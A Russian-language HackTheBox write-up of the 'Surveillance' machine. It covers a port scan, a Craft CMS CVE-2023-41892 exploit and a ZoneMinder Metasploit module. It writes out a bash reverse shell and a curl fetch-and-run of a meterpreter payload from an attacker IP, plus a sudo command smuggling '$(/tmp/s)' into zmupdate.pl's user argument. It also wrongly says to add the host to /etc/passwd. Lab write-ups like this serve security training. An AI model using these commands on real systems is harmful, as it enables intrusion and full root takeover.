Обзор сервисов

Для начала просканируем машину 10.10.11.245 на наличие открытых портов с помощью утилиты rustscan:

$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.245 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/user/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.245:22
Open 10.10.11.245:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.245
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-09 14:01 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Initiating Ping Scan at 14:01
Scanning 10.10.11.245 [2 ports]
Completed Ping Scan at 14:01, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:01
Completed Parallel DNS resolution of 1 host. at 14:01, 0.33s elapsed
DNS resolution of 1 IPs took 0.33s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:01
Scanning 10.10.11.245 [2 ports]
Discovered open port 80/tcp on 10.10.11.245
Discovered open port 22/tcp on 10.10.11.245
Completed Connect Scan at 14:01, 0.05s elapsed (2 total ports)
Initiating Service scan at 14:01
Scanning 2 services on 10.10.11.245
Completed Service scan at 14:01, 6.85s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.245.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 1.81s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.30s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Nmap scan report for 10.10.11.245
Host is up, received syn-ack (0.052s latency).
Scanned at 2023-12-09 14:01:07 EST for 9s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.71 seconds

У нас открыты стандартные порты 22 и 80, что типично для Linux-машин HackTheBox.

Добавим хост в /etc/passwd:

10.10.11.245 surveillance.htb

Веб

На веб-версии, на первый взгляд, нет ничего интересного. Однако если спуститься вниз, то видим название и версию CMS - Craft CMS 4.4.14.

Alt text

Alt text

Быстро находим, что она уязвима к CVE-2023-41892.

Берем маленький Proof-of-Concept, но делаем небольшую модификацию в строке с переменной tmpDir:

Alt text

Запускаем и сразу же пробрасываем нормальный шелл.

Alt text

Alt text

В s я положил meterpreter шелл.

rlwrap nc -rlvp 4242
bash -c "bash -i >& /dev/tcp/10.10.14.140/4242 0>&1"
curl -o /tmp/s http://10.10.14.140:8081/s
chmod +x /tmp/s
/tmp/s &

Получаем хеш пользователя matthew:

meterpreter > cd /var/www/html/craft/storage/backups
meterpreter > ls
Listing: /var/www/html/craft/storage/backups
============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  19918  fil   2023-10-17 16:33:16 -0400  surveillance--2023-10-17-202801--v4.4.14.sql.zip

meterpreter > download surveillance--2023-10-17-202801--v4.4.14.sql.zip
[*] Downloading: surveillance--2023-10-17-202801--v4.4.14.sql.zip -> /home/user/htb/surveillance/surveillance--2023-10-17-202801--v4.4.14.sql.zip
[*] Downloaded 19.45 KiB of 19.45 KiB (100.0%): surveillance--2023-10-17-202801--v4.4.14.sql.zip -> /home/user/htb/surveillance/surveillance--2023-10-17-202801--v4.4.14.sql.zip
[*] Completed  : surveillance--2023-10-17-202801--v4.4.14.sql.zip -> /home/user/htb/surveillance/surveillance--2023-10-17-202801--v4.4.14.sql.zip
$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
$ grep admin surveillance--2023-10-17-202801--v4.4.14.sql

Alt text

Отправляем хеш на crackstation.net и получаем пароль.

Подключаемся по SSH как matthew.

Флаг пользователя

Alt text

Повышение привилегий

Если запустить netstat, то увидим zoneminder, который висит на порту 8080.

Alt text

Пробросим порт локально.

ssh -L 58080:127.0.0.1:8080 [email protected]

Alt text

Теперь воспользуемся эксплоитом для него. Забавный момент: мы могли пропустить часть с matthew и пройти сюда из-под пользователя www-data.

$ msfconsole
> use unix/webapp/zoneminder_snapshots
> set AutoCheck false
> set SRVPORT 8083
> set LHOST tun0
> set LPORT 4245
> set TARGETURI /
> set RHOSTS 127.0.0.1
> set RPORT 58080
> run

Alt text

Пользователь zoneminder может выполнять как суперпользователь скрипты по вот такой маске:

Alt text

Ищем скрипты по этой маске в /usr/bin и находим zmupdate.pl, в котором есть вот такой кусок кода:

Alt text

Значит мы можем в исполнить свою команду вместо переменной user. Пароль пользователя можно узнать из /etc/zm/zm.conf, но на самом деле он может быть любым. У меня был припасен meterpreter в /tmp/s, поэтому я выполняю примерно так:

sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/s)' --pass=ZoneMinderPassword2023

Alt text

Alt text

Флаг суперпользователя

Alt text